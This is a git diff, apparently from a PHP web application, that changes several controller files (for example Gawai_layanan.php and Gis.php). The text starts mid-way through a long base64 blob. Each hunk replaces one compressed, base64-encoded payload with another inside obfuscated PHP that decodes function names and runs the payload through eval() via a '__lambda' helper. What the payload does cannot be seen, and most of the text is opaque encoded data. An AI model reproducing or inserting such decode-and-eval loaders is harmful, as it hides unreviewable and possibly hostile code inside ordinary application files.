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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Gawai_layanan.php b/donjo-app/controllers/Gawai_layanan.php index 29c25d006..86a0cfafd 100644 --- a/donjo-app/controllers/Gawai_layanan.php +++ b/donjo-app/controllers/Gawai_layanan.php @@ -260,7 +260,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Gis.php b/donjo-app/controllers/Gis.php index 2aa9fc345..6675de228 100644 --- a/donjo-app/controllers/Gis.php +++ b/donjo-app/controllers/Gis.php @@ -220,7 +220,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXFtz4kiyfp+I8x/6YSM8G3POjCSMZ4iOfkAYCckYWhK6vkzo0pYwQmgM5vbr98uSQFwE7dmzZyN2DuVhbEQpK+vLzC8zS0R/+lSMv/2O8eUufxtni5e7z+xtOb7cRbPsdfY/fp7/Es6yxdssTb+9zX+Rx/Of8yT/1En9+fznn3+++/xDKezTf/1w+/nP//mBvODTv3B8Obty5/CtuWvzY0/ufrljlyov+tAoPfXLp9u4jdu4jb/muAunFhc56rsiW4Jrr2aq1HpxNpNfC9IEaxZ0/fsNqtu4jdu4jdu4jdu4jdu4jf+0cTvOuI3buI3b+OuOu8Cff3u4/z36Fs6ib3efb4jcxm3cxm3cxm38r8bx1xcetdmgM/7tD/yOn2LuSenMYn2azj1DzIPpJHanUubb0rsi60k4nTwczhs1xDRIB6reZu8hp/2HIg3ysKGnAbvfW4ZTPgmFSezJ1tY1xG1Ez7MdJY5ka+Nm1huu8UGm8/5GXHg2n/h0zb4v5msHcrvSKpDTN9cZ5KRLMBa3QQMyBDN2hdZkp68npxvfXufhRsQ66gTzofeC5s99Z5AGGe7vRtqoI9rPq0P5SQIdHn1H5FyjvXl+bDeVDhc/v7bXA0N8DAR+7NvNVJHUNBRafD